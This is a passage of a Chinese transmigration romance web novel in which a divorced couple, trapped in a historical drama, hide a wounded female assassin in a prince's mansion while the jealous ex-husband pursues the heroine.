去乘风苑的路上,血迹果然清除干净,可一进院内,就看到零星血渍,虽然不多,在月光下也毫不起眼,但却足够致命。
游千古回头看了十叶一眼,后者立刻心领神会开始擦拭。
房内。
游万辰“蹭”地从地上弹起来,“不好,有人来了!”
与游千古不同,他不是王府继承人,所以两人打小的培养方式就不一样,游千古内外兼修,重点学习治国理政的实务。
而游万辰身上没有这些枷锁,同其他王爷家的子嗣一样,自幼就被扔进军营磨练,免得养成纨绔。
习武之人向来耳力高超,加之游万辰一直没睡,所以第一时间听到了脚步声,而且屋外响起了三声猫叫。
这是他与影卫的暗号。
三声猫叫说明有人来了,但没危险,三声猫头鹰的叫声才说明有危险。
“有人来了?”迷糊中俞采星猛地睁开眼,心脏都吓掉了半颗。
她看了看仍昏迷的郑芮,忽然想到什么,急忙跑到桌边吹灭蜡烛,谁知却和游万辰想到了一块,于是两人头碰头撞在一起。
“唔唔……”这男人的头是铁做的吧!
因为碰撞产生的惯性俞采星没稳住身体,直直往后跌去,这时她面前出现一只大手,想要拉住她的手。
俞采星眼神一黯。
从前要摔倒时,游千古每次都焦急而紧张地拉过她的手护着她,可最后还是出轨了。
一场失败的婚姻让俞采星明白,男人根本不可靠,不若当下直接承受该有的痛,也免去日后心碎。
电光火石间,俞采星手腕一转躲开了游万辰的手,下一瞬就跌落狠狠磕了尾巴根。
靠,疼得眼泪都要出来了!
游万辰看着自己落空的手,觉得大概是自己疯了,他竟然在担心那个不知廉耻的俞采星,更气愤的是,还被对方拒绝了。
男人怒冲冲瞪她一眼,立刻回头一口吹灭了蜡烛。
黑暗中,一道男音带着不屑一顾的叱责,在俞采星耳边响起:“哼,不识好歹,本郡王的手何时碰过女人,活该疼死你!”
“谢郡王出手相助,”俞采星摸了摸摔疼的尾椎骨,“是臣女不识好歹了。”
刚走进乘风苑内院,游千古便看到卧房的烛火熄了,看来这是察觉到他来了。
“开门!”男人没有寒暄,直接开口。
“阿兄?”游万辰一惊,怎么是他?
俞采星也蒙圈了,他怎么来了?真能添乱!
“怎么办?”黑暗中她下意识拽住游万辰的衣袖,摸不准他半夜来此是为何。
而后者眸光落在自己的衣袖上,刚才心里憋的气竟莫名散了,他矫情拽回衣袖,又装模作样轻咳两声,“放心,我既然答应保你们就绝对不会食言。”
“开门。”游千古再次出声。
“阿兄,天还没亮,搅人清梦的习惯可不好,有什么事等我睡醒再说吧。”
想同他打太极还嫩了点,游千古嘴角扯出一抹冷笑,开口的语调却极致慵懒,“你,是自己开门,还是我让十叶踹开?”
踹?那一进来不全都暴露了么?
“别别……别踹门,我先穿衣服!”游万辰下一瞬就被吓得破了功。
俞采星撇撇嘴,上一刻让她放心,下一刻就怂了,男人果然最心口不一。
俞采星心里还没骂完,谁知游万辰竟然跟拎小鸡仔似的把她提留回床上,又将地上的被褥蒙在两人身上,拉严实帷帐,“不管发生什么,都别出声。”
俞采星笑不活了,这床在房间里这么明显,能藏住两个大活人?
女人叹口气,算了,游万辰虽然智商呈盆地状态,但胜在善良乐于助人。
这时游万辰重新点燃蜡烛,去开房门。
“阿兄。”态度很恭敬,不知为何,他从小就怕这个比他早出生一刻钟的哥哥。
游千古抬眼打量对方。
他身上只著里衣,有些凌乱,领口处还露出大片肌肤。
游千古脑子里忽然响起俞采星那天说的“八块腹肌好看极了”,于是眼里的冷酷骤然射出,冰封了夏日的空气。
游万辰一抖,阿兄刚才看他的眼神像要杀人,不会已经知道他窝藏了刺客的事了吧?
“这么晚才开门,我还以为你屋里藏了个人呢。”
游万辰心脏一颤,“哪……哪有什么人,我向来以阿兄为榜样,绝对不会与女人厮混,阿兄又不是不知道。”
“哦,是么?”游千古唇角勾起一抹若有似无的弧度,他的反问像一个个冰豆子,掉在游万辰绷紧的神经上。
男人抬脚走到床边,欲伸手扯开床帏。
“阿兄!”游万辰赶紧上前阻拦,可惜十叶更快一步,稍一用力便拉开了床帏。
这下好了,被当场搜出刺客,游万辰感觉自己要窒息了。
几人目光齐刷刷落在床上。
上面被褥凌乱,染满了血迹,但除了这些外,空无一物。
这下,连游万辰也惊住了。
两个大活人呢?
怎么一眨眼,俞采星和郑六全都消失不见了?难不成他刚才是跟鬼待在一起?
十叶半点不含糊,快速搜查床底、柜子、屏风后面、房梁之上……总之整间房该搜的都搜了,就是没有刺客踪迹。
游千古皱眉。
床上血迹斑驳,可见刺客受伤很重,这屋子一眼可以看透,除了床再无可躲避之处,难道在他来之前,刺客已经离开?
游千古抬手随意指了一下床,示意游万辰解释。
“这血是……”游万辰讪讪一笑,反正没逮到人,随便胡诌一下吧,“最近火气大,我流的鼻血哈哈哈。”
说完连自己都觉得这借口糟糕透了,于是只能干笑出声,缓解尴尬。
游千古听完不作任何反应,倒是十叶没憋住差点笑场。
男人若有所思在屋子里慢慢踱步,这时一缕夏风带着花香从窗户的缝隙涌进来,他心底一颤,那是太阳花的香味。
游千古鬼使神差般的,走到窗前推开窗户,月光下果然是一大片太阳花,开得很美,像极了那人朝气蓬勃的脸。
男人垂下眼睑,心脏处有抹撕裂的痛。
要是小星不恨他,那该有多好。
罢了,既然刺客逃了,也省得他麻烦,只要不拖累王府,拖累他就好,其余的游千古也不想再管。
他还得去俞府找小星。
游千古收起思绪转身,就在这时,脚底踩到一个东西,有点硌脚。
他面无表情抬脚,低头,却发现地上什么也没有。
奇了怪了~
游千古若无其事般继续平静往前走,他颔首对游万辰说:“院子里的太阳花不错,不过和你这乘风苑不搭,天亮后我会让人移到我院子里。”
游万辰满脸无语:“……!”他这乘风苑丹楹刻桷、雕栏玉砌,还能配不上那几朵小花?
游千古说话时不经意一个转身,步履如常,好巧不巧再次落到刚才的地方,他面色淡漠,让人看不出是刻意。
嗯~果然硌脚,于是他坏坏地用了些力气。
“唔!”俞采星疼得倒抽一口气。
游千古瞳孔猛地一缩,快速移开脚步,再抬眸他又恢复正常,仿佛刚才不过是错觉。
21. 第 21 章
俞采星的心脏都要从嘴巴里跳出来了。
刚刚抽气声音很小很小,似乎连游万辰和十叶都没听见,所以游千古应该也没发现什么吧?
她自知那床藏不住人,电光火石间再次一键穿上隐身衣,在游万辰开门时,抱着郑芮快速躲到窗边不起眼的角落。
但由于太过仓促,她刚坐到墙角,便被昏迷的郑芮压.住胳膊,手就那样被压.在地上,姿势很痛苦,但她不敢动。
一动便会发出声响,于是只能这样。
可谁能想到游千古会神经质地来开窗,还好巧不巧踩在她的手指头上,关键这变态还来回踩了她两脚!
“不错,很不错!”此时游千古声音凉凉的,他侧眸,视线从凌乱的被褥再次移到衣衫不整的游万辰身上,唇边突然勾起一抹笑,不达眼底,却叫人头皮发麻。
不错?什么不错?一旁的游万辰发现他阿兄看他的眼神极其不正常,仿佛要将他生吞活剥一般。
“十叶,带小郡王去听澜殿,既然他燥.热难耐鼻血横流,就去我房里泄.泄.火吧。”
十叶:“???”
游万辰:“!!!”
游千古不悦扫了一眼:“还不走,是不认识路等我亲自押你去么?”
“不……不用,我自己去就行。”游万辰此刻犹如万蚁钻心,俞采星和郑六不知躲在哪里,阿兄也不知道突然发什么羊角疯,但他这郡王生来就比世子矮一截,最后不得不听话妥协。
三人离开时,游千古漫不经心扫了窗边一眼,隐身的俞采星刚好与他对视,吓得愣是连呼吸都不敢了,好在他也只是随意看了一眼,就出去了。
可男人刚走出房门就绷不住,脸色铁青,极其骇人。
他竟然在游万辰房里听到了小星的声音。
房内那么多血,是她受伤了吗?
千叶到底是怎么保护人的!
不过好在他的系统版面上,显示俞采星没有生命危险,才能稍稍安心一些。
“十叶,你立刻悄悄把王府内外所有道路再检查一遍,一滴血迹能不能留下,务必在父王回来前办妥一切,今夜之事绝不能泄露出去。”
一定不能让人察觉有人来过乘风苑,否则彻查起来一定查到俞采星。
十叶领命。
“等等,你先去通知一叶,让他悄悄去趟御坤堂,把所有治伤续命的药每样都拿一种,标好种类、疗效送来乘风苑,放到桌子上即刻离开。”
“是!”十叶不明白世子的意图,小郡王不在房里,刺客也逃了,屋里空荡荡的送药去做什么?
但游千古的话,他永远只会照做,不会质疑。
待人都走了后,俞采星还一直躲在原处不敢动弹,手脚都麻了,直到一个陌生侍卫莫名其妙送来好多药,又立刻离开,她这才才安下心来。
那侍卫脸很生,不是刚才跟在游千古身边的那个,既如此这些药应该是游万辰派人送来的,那就说明游千古并没有起疑,危险应该解除了。
想到这里,俞采星才敢将郑芮重新拖回床上,她也累得睡了过去。
*
当一叶从冰窖又提来满满一桶冰块倒入浴桶时,游万辰实在扛不住了。
炎炎夏日里他牙齿却不停打颤:“阿兄把我叫来泡冰已经泡了两刻钟,他怎么还不来?”
一叶按吩咐照实回禀:“世子爷说,他的寝室暂时让给小郡王,让您安心在这儿泡着,为了健康一定要把体内的邪火清除干净,还有您房里的人他会好好照顾,让您勿操闲心。”
“什么?!”阿兄抓到俞采星和郑六了?
游千古极其厌恶女人,俞采星落在他手里定然会死得很惨,何况这次还牵扯到刺客。
想到此处,游万辰立刻起身,要去救人。
“小郡王得罪了!”一叶见状将他重新摁回冰块里。
“世子爷还说,您若敢在他回来前踏出此门一步,便将您和您苑里的刺客一同绑了,押解进宫献给皇上。若您不想整个王府因为你的愚蠢陪葬,最好乖乖去邪火,免得再流一床鼻血。”
游万辰:“……”
他阿兄向来说到做到,男人又认命坐回桶中。
……
灶房内。
游千古用最快的速度熬了粥,又做了两样小菜,便急急忙忙提着两个食盒进了乘风苑。
俞采星睡得很警觉,在房门开的一刹那就睁开了眼,她从纱帐的缝隙中看到来人不是游万辰,竟是游千古。
完了,完了,此刻要是会遁地术就好了,于是只能再次一键穿上隐身衣。
俞采星看着男人放下食盒,径直走到窗边蹲在她先前藏身的地方,伸手像盲人摸象那样在空气中慢慢摸索。
女人心脏一窒,后槽牙都快咬碎了。
这个人精果然听到了她的抽气声,当时却装模作样假装没听到,狡猾的老狐狸!
半盏茶后,游千古那张万年不变的脸上罕见出现了裂缝,紧接着他动作加快,开始在房间每一寸空气里摸索。
最后男人来到床边,抬手扯下淡蓝色的床帐。
四目相对,俞采星看到了他眼里的急切与浓重的红血丝,但他却看不见她。
莫名觉得还挺爽是怎么回事。
下一刻游千古又伸出手摸索,俞采星小心地避开他的每一次靠近,可即使再小心,即使能隐身,在这狭小的方寸之间,俞采星也瞒不过太久。
终于在她歪头躲避时,扎起的发尾不经意扫过他厚实的掌心,在俞采星还完全没有反应过来时,下一瞬她就被游千古狠狠拽入怀中,摁住后脑勺,死死堵住嘴吧。
【恭喜宿主获得馈赠血值,生命值增加24小时。】
该死的,她又被前夫强.吻了。
游千古是怎样在她隐身的情况下,还能精准找到她嘴唇的?就……很无语子。
“小星,我要看到你的身体。”还好找到她了,游千古的声音都在发颤,看不见人,就不知道她受没受伤。
然而怀里的女人没出声,男人只能急切在她身上一寸寸摸索,直到确定手上没有血迹,焦急的心才落到实处。
那些血果然不是她的。
“你往哪摸,变态!”就在游千古手要伸到俞采星亵裤里的时候,她终于破了功,一键脱下隐身衣。
这男人太阴,竟然耍这种手段,逼她现身。
女人就这样神奇凭空闪现在游千古怀里,脸颊微红,头上的马尾有些松散,好在人全须全尾。
然而下一刻,当男人看见她身上穿着游万辰的衣服时,气血上头,一把扯碎她胸前的布料,那模样活像灌满了氢气的气球。
易燃,又易爆。
俞采星害怕地拢了拢衣襟,惊慌失措挣脱他的桎梏,警惕、疏离、厌恶全明晃晃写在眼睛里。
“对不起……”游千古眼眶红了。
他抬手捂住女人的眼,拼命忍住体内蚀骨的嫉妒,“别……小星,别用这种眼神看我……”因为心脏会很痛。
“你够了!”俞采星直接拍开男人的手,“先撕我衣服,再向我道歉,我就要乖乖原谅你么?”
“不是你的衣服。”游千古委屈反驳,“我撕的是万辰的衣服,深更半夜你们孤男寡女,共处一室,你穿他的衣服,还睡在他的床上。”
此刻嫉妒像决堤的洪水,一次次冲刷他的理智。
“我躺在谁的床上已经与你无关,游千古我们离婚了,而且离了两年,我想过去的三天里,我已经同你说得很清楚,我找到了新的续命法子,不需要你的吻续命,你也不要再来攻略我!”
“攻略……”游千古眼里有些许迷茫,随即就反应过来。
什么狗屁攻略,当时大火里,不过为了减少她的抗拒,想要快速救她出火场而找的借口,没想到她真信了。
游千古再也抑制不住自己的心,要将从前一切解释清楚,“小星,我没有攻略你,我只想和你在一起,前世我没有……”
“噗!”
同一时间,俞采星同时心如刀割,喷出一口鲜血。
“小星!”游千古惊慌扶住她。
女人捂住心脏,擦擦嘴角的血迹,这是她第二次心绞痛吐血了,难道是穿书后的不良症状?
她抬眼看向游千古:“前世你没有什么?”
男人握紧拳头孤注一掷,语速极快:“前世离婚我有苦衷,我说不出……噗!”
此时,游千古脑子里的系统警告不断。
【检测到宿主已多次违规,若让俞采星从话里听出破绽,你和她会立刻心脏爆裂而亡。】
男人掌心被指甲掐破,血渗出来,认命般闭上了嘴。
“什么苦衷?”俞采星眼皮一跳,像是发现了什么,脱口而出:“你该不会有限制,说不出口吧?”
连穿书这种事都发生了,还有什么不可能的,或许前世真有什么她不得而知的事,就在女人以为游千古真的有说不出口的苦衷时,就被兜头泼了一桶凉水。
只听游千古凉凉说道:“小星,你果然还是在乎我的,我不过随便编一个借口你就信了,所以,这辈子你注定还要嫁给我。”
俞采星低低笑出声,她以为自己会像从前那样生气,然而这次并没有,当对一个人或者一件事失望透顶后,心里便不会再生出难过,而是不屑一顾。
“少自作多情了,你应该清楚我的性格,我若爱一个人,是会不顾一切豁出去的,我但凡还有一点在乎你,就不会舍得推开你,你于我而言,两年前就已经是无关路人。”
像是在附和这句话般,俞采星用力推开游千古,男人没有防备,就这样被推下床,跌倒在地。
半边身子的伤口再次被挣开,男人咬牙忍住疼痛,好在他穿了玄色衣裳,即使渗出血,也不易被察觉。
无关路人。
这四个字,像蜜蜂的尾后针,深深扎进了游千古的眼珠子里,虽不致命,却痛苦至极。
男人怔怔坐在地上,捂着酸涩的胸口好半晌才哄好自己,他起身从一叶送来的一堆药品里面挑出一瓶活血化瘀膏,又挪到床边。
强.硬.拉过俞采星被他踩伤的右手指,挑出一点药,轻轻抹在上面。
“对不起,当时我以为是刺客所以才用力踩下去,幸亏那刺客提前走了,否则你很可能会没命知道么?”
俞采星挑眉,没想到游千古这个人精也有想岔劈的时候,若他知道刺客不仅没走,还是她带来的,会不会气吐血?
“很痛吧?”看着发红肿胀的手指,游千古全是懊恼和心疼,“对了,你怎么会隐身术的?穿书系统给的金手指?”
“那你的外挂又是什么?”俞采星不答反问,他可千万别是那种迷惑女人心智的。
游千古平静移开眼。
刚死的时候他确实是开挂的,他最先被分配到的是一本男频仙侠文,是里面的男主角,浑身上下哪哪儿都是金手指,最后成了不死不灭的神,受六界敬仰。
可他直接拒绝绑定系统,宁愿魂魄灰飞烟灭,只因他不愿活在没有俞采星的日子里。
后来不知为何,他被系统总部的大人物接见了,美其名曰很欣赏他的魄力,并承诺只要做她的贴身秘书,权利、金钱、名誉、地位,一切应有尽有。
但游千古再一次拒绝。
上面的那一切他都不想要,更何况总部这位部长大人看他的眼神很不清白,作为一个成年人,他自然明白贴身秘书的含义。
不管生前还是死后,他的心和身体都是小星的,既然活着无法陪她到老,那就同她一起消散在天地之间,这何尝不是另一种圆满。
公然违抗命令,游千古早就做好了被抹杀的准备,谁知那位部长却告诉他俞采星也穿书了,并且在书中只是个炮灰,十分钟后就会死。
那部长说可以把他安排进俞采星穿入的古偶中,但给了两条路。
一条路,他依旧可以有高燃金手指,可以长命百岁,唯一的要求是与俞采星形同陌路。
第二条路,只有一个给俞采星续命的金手指,并且能够感知俞采星生命值低于三十秒时,发动瞬移救她。任务是攻略俞采星,让她心甘情愿复婚,成功两人可以白头偕老,失败他则身体衰竭,半年后痛苦死亡。
游千古毫不犹豫选了二,能再次见到俞采星,是他死后从不敢有的奢望。
见男人不说话,俞采星又问了一遍:“怎么,还怕我知道?”
游千古:“没什么不能说的,我的金手指你不是早就知道,就是给你续命。”
“哼哼。”俞采星冷笑一声,“倒是跟你的任务高度适配。”
游千古低头,敛去眼底的哀伤,他没有再试图解释,系统的警告不是玩笑,他再也不敢拿她的生死冒险。
“为什么半夜来找游万辰?不仅穿他的衣服,还睡在他床上。”说到这里,男人停顿了一下,嗓音有些发抖,“你的任务是攻略游万辰吗?”
俞采星刚想撒谎骗他。
谁知下一瞬,游千古再度揽住她,热、烫的唇贴在她的耳骨,“小星,我要听实话,因为你绝对不会知道,我此刻有多想把这套碍眼的衣服撕碎。所以,别刺激我,我要听实话……”
游千古眼神深得像要吃人,俞采星脖子一缩,想到了结婚的第二年。
她公司年会大家玩到挺晚,部门男上司正好有车,便体恤下属好心开车送她回家,谁知要上车时,刚好撞见来接她的游千古。
那时,男人眼里迸出来的就是这种骇人的光,于是第二天她就体力透支,上班迟到了。
从前俞采星心里对游千古装满了爱,不觉得他变.态,可离婚后却发现,这男人浑身上下都冒着变.态的华点。
“不是!”俞采星真怕这变.态突然发神经,于是快速撂下实话。
“当今皇帝有病,大概活不久了,明面上他生的皇子全部夭折,膝下只有一位嫡公主,因此没有继承人。但实际上,十八年前生下的那个皇子没有死,而是被人秘密送出宫,我的任务就是找到他,并辅佐其登基称帝,完成后我才能在书里活下去。”
游千古蹙眉,这个任务确实有点难,幸好他跟过来了,“别着急,会找到的,我明日就去打听一下皇帝的近况,折腾了一宿,现在你先吃饭。”
他伸手拉她,语调又恢复如前世那般的温柔。
俞采星甩开,“不必了,一会儿小郡王会给我安排,你走吧。”
游千古沉默片刻。
“不想吃我做的?也行。”男人点点头,没有强迫,而是长臂再次揽过她。
“你干嘛?”俞采星一惊。
男人的手故意摩挲她腰间,然后轻裘缓带地说:“既然不想吃饭,那就一起睡觉,反正穿书的这三天我几乎没怎么合眼。”
“王八蛋,谁要跟你睡,吃饭就吃饭!”男人烧伤的那只胳膊被她大力推开,狠狠撞在床边厚实的立柱上。
游千古钻心的疼,浑身冒了冷汗,他双唇抿成一条线,用力忍下,而俞采星没有发现他的异常,下床后下意识把床帐拉好,做到桌边。
游千古看她小心翼翼拉好帷帐,心中不禁有丝疑虑,当下却也没有说什么。
两人在桌前坐下。
两菜一粥,全是俞采星上辈子爱吃的,就连散发的香味都和前世一模一样,她只看一眼,便知道这些全是出自游千古之手。
俞采星始终不明白,前世游千古也算精英人士,为何会有爱烹饪的怪癖。她曾经也问过他为什么这么喜欢下厨房,而他只是淡笑着回答:喜欢做饭。
游千古拿碗盛粥,才发现由于今夜三番五次的拉扯和撞击,左胳膊伤势加重,导致手指头肿得比平时粗了两倍还多,无法活动自如。
男人抬头看了俞采星一眼,却发现女人根本不屑看他,于是自嘲般换只手,盛了一碗粥递给她。
俞采星以为离婚后,她再与游千古同桌吃饭,一定会无比恶心,可惜,她的胃没有她的心脏有骨气。
游千古的厨艺可谓长在了她的味蕾上,加之饿急了,此刻吃的狼吞虎咽,游千古则在一旁默默给她夹菜,就如前世一样,像个虔诚伺候圣主吃饭的教徒。
在他的投喂下,俞采星很快吃饱了,游千古很自然拿出锦帕,宠溺地把她嘴角的汤渍擦干净。
“啪嗒!”筷子掉在桌子上,俞采星眼眶酸了,当年她就是被游千古这样温柔细腻的姿态深深吸引。
可如今算什么?
他出轨,离婚,穿书之前又和别的女人再婚了,现在做的一切不过是为了活命攻略她而已。
等自己完全沉溺于他的攻略,他便可以永远活在书里,将她弃之如弊,开启他妻妾成群的世子爷生活。
第一次掉进茅坑,可以说无知,但若第二次再掉进去,那就真是自作自受了。
俞采星梦想到的最好办法,就是对他所做的一切视而不见、听而不闻。
“还要再吃点吗?”第一时间察觉到俞采星的异样,游千古问。
“你走开,不要拿摸过其她女人的手碰我。”这是俞采星心里永远过不去的坎,她再次推他,男人胳膊又一次撞向桌角。
依旧很痛,可这一次游千古脸上却没有丝毫变化,因为胳膊再痛也痛不过心脏,他将碗筷收进食盒,起身推门而去。
俞采星吁出一大口浊气,总算走了,她赶紧去看郑芮,隐身衣就快进入冷却期了,她祈祷游万辰快些回来,千万别再出旁的岔子。
没多久门又开了,还是游千古。
俞采星以为凭他高傲的性子,一定不会再回来,可惜她猜错了,男人手里还多了一套质地尚好的女装。
他递给她,后者不接,还附带了一个白眼。
游千古:“是你自己换,还是我一点点撕碎你身上这件,然后再替你换上?”
俞采星恨恨一把夺过衣服。
游万辰的衣裳实在
太大,走路都不方便,天亮后她就得找个机会出府,总不能穿成这样出去。
现在差不多寅时初刻,吃了饭,她体力恢复很多,但就是困,一连打了三个哈欠。
游千古:“你放心睡,我在这里守着不会有事,睡醒后我送你离开。”
俞采星刚在床侧躺下,帷帐就被拉开,男人也跟着过来了。
“你干嘛?”
“睡觉,早就跟你说过,这几天我都没有休息好。”他神态一派自然,就要爬上床。
俞采星神经倏地一紧,“你去别的屋子睡。”
游千古语调平淡:“若我不在,你说待会被府兵发现,他们会不会拖你出去凌迟?”
他又威胁她。
“那你睡地上。”俞采星把被子扔下去。
“不要,这么大的床不睡浪费了,我又不怎么样你。”
浪费个球球,她和郑芮一人一半,刚刚正好!
看俞采星躺在床外侧,游千古便笑笑说,“既然你要睡外面,那我睡里面好了。”
“不要!”俞采星连忙抱住他的腰阻止,可惜还是晚了一步。
游千古刚迈过腿,就触碰到了一个温热的……身体!
蓦地,男人脸上的笑容一瞬间消失,他冷冷回头,一个字一个字地往外蹦:“解除隐身。”
俞采星咽了咽唾沫,只得照做。
紧接着一个脸色苍白身受重伤的男人赫然出现在床里侧,而刚刚俞采星竟与他同塌而眠。
眼前这一切刺痛了游千古的神经,本以为她身边就一个万辰,没想到还有另一个陌生男人。
盛怒之下,他却笑了,“俞采星,离婚后你胆子真是越来越大了。”
此刻游千古恨不能一掌秒了床上的男人,虽然书里“原主”会武功,可他是半截穿进来的,并不会。
游千古瞅见墙上挂着一把剑,冲过去一把拿过,开了剑鞘,利刃对准了郑芮的胸膛。
“小星,这男人是谁?你碰过他哪里?眉毛、眼睛、鼻子、肩膀、手臂、还是……胸膛?”
他的语气里带着压抑,没说完一个部位,剑尖便随着话语在郑芮身上移动,“还是说你们躺在一起,你抱着他,就像从前抱着我一样?”
仿佛只要俞采星敢回答是,他就会一一把刚才说的这些部位从郑芮身上剜下来。
“你不能杀她!”情急之下俞采星直接趴在郑芮身上。
游千古拿剑的手一抖,眼里全是煞气:“从他身上起来。”
“不起!”俞采星昂着头,游千古这什么臭毛病,婚都离了,何必装作一个吃醋的深情丈夫?再说她只不过“睡”了一个假男人,他可是出轨睡了一个真女人呢,有可能还不止一个。
“她是郑芮,我可是好不容易从外面官兵手里救下来的,我不许你杀她!”
“原来他就是刺杀帝后的逆贼,所以,是什么让你冒死去救一个刺客?”游千古一直刺客是冲着游万辰来的,没想到竟是她带来的。
俞采星不打算瞒着,况且也瞒不住,“她是郑芮,前护国大将军郑元达的独女,郑芮。”
游千古神色一愣,半晌才道:“你说他是个女人?”
游千古却仍旧紧紧盯着昏睡的郑芮。
“这个模样和身量怎么可能是个女人?”怎么看也是个英武的男人,如此想着,利刃靠她脖子又近了几分。
郑芮身高随了父亲那边,目测不低于一米八,长年练武,眉宇间全是英气,模样自然偏中性,加之又穿着男装,所以这么多年没人看穿她的性别。
“都告诉你她是女子,你怎么还不信,莫不是你要将她交出去讨好皇帝?”俞采星心中登时紧张起来。
若不彻底证明身份,游千古不会罢休的,反正郑芮还睡着,她直接抓起游千古的手覆上郑芮的胸前。
男人手上立刻传来类似女人的柔软,意识到自己刚才碰了什么,游千古脸色铁青地快速收回手。
“俞采星!”她竟然让他摸别的女人那里!
男人脸上的血色瞬间退去,那只手抖若筛糠,就好似掉进了蚂蚁堆里,又疼又痒,他快速翻出一块锦帕,一根一根用力擦拭手指头,直到擦得通红一片,恨不能脱一层皮,这才停下。
俞采星眨眨眼,不至于如此吧?
她可不记得游千古有洁癖,再说,吃亏的可是郑芮,他一出.轨的渣.男装什么装!
“你为何要救她?”
俞采星自然不可能把真相告诉他,若让他知道自己只要救回必死之人,就会增加生命值,那么为了攻略任务,他一定会费尽心机阻拦。
“一时半会儿也说不清,郑芮不但武功高强,还重情重义,总之我一定要保她,若你要拿她出去立功,就一并把我也交出去。”
游千古沉默半晌,最后道:“她的身份太特殊,若留在你身边就是个定时炸弹。”
“不会的,所有人都以为郑芮是男人,以后她恢复女儿身,绝对查不到的,除非你告密。”
“游万辰也知道,你怎知不是他告密?”
俞采星想也不想干脆说道:“他不会。”
游万辰可是郑芮指定的人,况且经过今夜一番相处,对他的人品很放心。
他不会……
听到女人笃定的回答,男人眼睫颤了颤,在她心里,他们相识八年,竟比不过一个刚认识三天的男人。
不,也许在她心里,早就把这个游万辰,当成了前世的万辰,所以救下刺客后,才会毫不犹豫来乘风苑。
“我也不会。”游千古看向俞采星的眼睛里满是郑重。
“希望你真能说到做到。”然而,她并没把他的承诺当一回事。
男人的保证在她心里早就一文不值,崩塌的信任,再也不可能毫无芥蒂复原,这就跟破镜不能重圆是一个道理。
游千古掩下眼底的委屈,嘴角扯出一抹苦笑,假装自己毫不在意。
“小星,郑芮可以继续留在王府养伤,但你必须离开,否则俞家那边会引起不必要的麻烦。”
她眸子看向郑芮:“我明白,可我不放心……”
“伤好后,我会想办法将她送去俞府。”
这时,屋外传来急切的脚步声,十叶慌张来报。
“不好了世子,王爷从宫里回来就立刻下令关闭王府所有门户,准备搜府,不用半个时辰就会搜到乘风苑来。”
“什么?”俞采星先绷不住,“蹭”地站起来,难道游轩这么快就发现郑芮藏在他家里?
游千古蹙眉:“究竟怎么回事?”
“据说刺客跳下了护城河,但活不见人死不见尸,可有士兵在护城河另一边发现了血迹,那些血迹一直从河边到了咱们锐亲王府附近消失不见。”
原来如此。
俞采星咬唇,这就是隐身衣最大的弊端,虽可以隐身,但却无法消除留下的痕迹。
“不是让你收拾干净吗?”游千古冷声质问。
“世子爷恕罪!”十叶立刻跪下,“王府内的痕迹我已全部清除,我顺着王府外的墙根一路寻过去,可只来得及清除一条街,就和追捕的官兵碰上。我怕露出端倪,不敢再继续下去,谁料王爷得知血迹断在王府附近,就立刻下令搜府。”
游轩定是怕被宁亲王先一步抓到把柄,才会下令搜府,好在十叶清除了一条街的血迹,并没有证据直接指向王府。
“父王下的是密令,还是带着圣旨回来的?”游千古再问,前者说明可控,若是后者,他必须不惜一切送走带走俞采星。
十叶:“王爷悄悄命人暗中又消除了两条街的血迹,将可疑范围又扩大一些,这回搜府是王爷下的密令,都是王爷的亲信,属下猜测,王爷应该也只是怀疑刺客潜进了王府,但并不确定。”
游千古沉声吩咐,“你把这个屋子里所有带血的衣物全部处理掉,先去找游万辰,让他和他的影卫管好自己的嘴,不该说的一个字都不要说。”
“是!”
十叶走后,游千古把所有窗户打开,将血腥味放出去,他握住俞采星的手,“别怕,这次我定好好护你。”
男人的话,俞采星相信,毕竟她是他的攻略目标,于他而言是生死大事,但是对于郑芮,他就不会管了。
可游轩一旦搜到郑芮,她必死无疑,不知道已经赚取的生命值,会不会随着炮灰的死亡再次被清除。
这一刻俞采星有些后悔自己今晚的行为,她转头看着床上依旧昏迷的郑芮,炮灰改命哪有那么容易,她竟然粗心到任由血迹滴了一路都没发现。
最让俞采星绝望的是,隐身衣时效竟在这个时候用尽,进入了冷却期。
她意识立刻进入生命魔法实验室,想再制作两件隐身衣,却发现一个月内,实验室只能制作五件物品。
她刚好达到上限,要下个月才能使用。
“游千古,我的隐身衣功能失效了。”俞采星肉眼可见焦躁起来。
22. 第 22 章
若游轩发现她深夜在游万辰的房里,与游千古同榻而眠,那么她最好的结局就是去庙里做姑子。
若在这个基础上再发现郑芮是她带来的,那她最好的结局就是一刀毙命。
“别怕。”游千古的手握上俞采星的,他的语调极其沉稳,“还有一个小时呢,什么都来得及。”
男人回头对十叶说:“小郡王的影卫是否还在?”
“只余屋檐上一人,其余三人都暗中随小郡王一起去了听澜殿。”
“你去把他也引到听澜殿内,告诉一叶,让他们四个进屋里伺候小郡王沐浴,不得出来。”
他们四个是游万辰的影卫,忠诚度不用怀疑,可事关俞采星,游千古容不得一丝差错,除了他的心腹外,今夜谁都不能看到她。
“立刻跟我走。”没多久外头传来声响,刀影被引走,游千古最后检查了一遍这个屋子,没有问题后背上重伤昏迷的郑芮,回头对俞采星说,“你在身后看着点,若有血迹低落,擦干净。”
女人点头。
外头,天边已翻起了鱼肚白,俞采星跟在男人后面,眼睛紧紧盯着地面,好在郑芮换了衣服,伤口都已经包扎,止了血,这次没有留下破绽。
她跟着游千古在锐亲王府里七弯八绕,一路上都没有碰到人,没想到最后依然进了听澜殿。
俞采星脚步一顿,“怎么来了你的院子?游轩一样会搜查。”
“这里耳房的地下有一间密室,除了原身的四个影卫之外,没人知道。”游千古干脆利落解释,进了月洞门后,带着她们直奔杂乱的的耳房。
门后有一口不起眼的大号水缸,游千古在缸肚的位置摁了一下,水缸竟然弹出一个一人大的暗口。
“钻进去,顺着台阶走,不过里面有些黑,小心脚下。”男人叮嘱。
俞采星也不再犹豫,立刻钻进缸肚内,里面果然别有洞天,她顺着台阶一路向下,虽然有些黑,但空气流通,不憋人。
随后游千古背着郑芮进来,又在缸内按了一下,缸肚上的口子严丝合缝关上。
没多久三人到了密室最里侧,里头点了好几盏油灯,还算亮堂,家具也都齐全,俞采星一来就看到了床边的脸盆,里面是血水,而旁边还放着一堆染血的纱布。
她立刻就想到藏游千古的那个大箱子里的血迹,“这些血是那晚被我用杌子咋的吗?”
游千古一顿,将郑芮放到床上,暗自握了握肿胀疼痛的左手,“你在心疼我?”
俞采星喉头一梗:“你想多了。”说完便去看郑芮的情况。
借着烛火,男人悄悄打量她,她脸上果然没有半点心疼他的表情。
游千古掩下心中的酸涩,“小星,今夜你应该第一时间来找我。”
是啊,她从游万辰那里兜了一圈,最后还是得靠游千古,真不如一开始就来听澜殿,就没这么多破事了。
可是,不来找他,是她最后的自尊和倔强。
